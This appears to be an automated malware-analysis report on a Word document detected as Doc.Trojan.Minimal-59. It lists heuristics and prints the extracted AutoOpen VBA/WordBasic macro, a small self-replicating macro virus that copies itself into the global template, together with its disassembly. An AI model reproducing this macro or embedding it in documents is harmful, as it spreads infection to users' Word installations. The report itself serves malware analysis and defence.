MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, specifically an AutoOpen macro named 'AutoopeN'. This macro attempts to copy itself and save the document, which is a common technique for ensuring persistence or spreading malware. The ClamAV detection also confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Minimal-59 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Minimal-59
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1524 bytes |
SHA-256: 5cc70df4f0bb3a56173f65bcd72f16e22d1e9e3e27a5275b297ad29f2c0e6cf8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoopeN"
Public Sub MAIN()
Dim c$
Dim a$
Dim b$
Dim d$
On Error Resume Next: c$ = ":aUtOoPen": a$ = WordBasic.[FileName$]() + c$: b$ = "Global" + c$: WordBasic.MacroCopy a$, b$: WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy b$, a$
End Sub
' Processing file: /opt/analyzer/scan_staging/2cef1c392e9a42b1b7c0da4c1c449e3b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoopeN - 1297 bytes
' Line #0:
' FuncDefn (Public Sub MAIN())
' Line #1:
' Dim
' VarDefn c
' Line #2:
' Dim
' VarDefn a
' Line #3:
' Dim
' VarDefn B
' Line #4:
' Dim
' VarDefn d
' Line #5:
' OnError (Resume Next)
' BoS 0x0000
' LitStr 0x0009 ":aUtOoPen"
' St c$
' BoS 0x0000
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' Ld c$
' Add
' St a$
' BoS 0x0000
' LitStr 0x0006 "Global"
' Ld c$
' Add
' St B$
' BoS 0x0000
' Ld a$
' Ld B$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' BoS 0x0000
' LitDI2 0x0001
' ParamNamed Format$
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' BoS 0x0000
' Ld B$
' Ld a$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #6:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.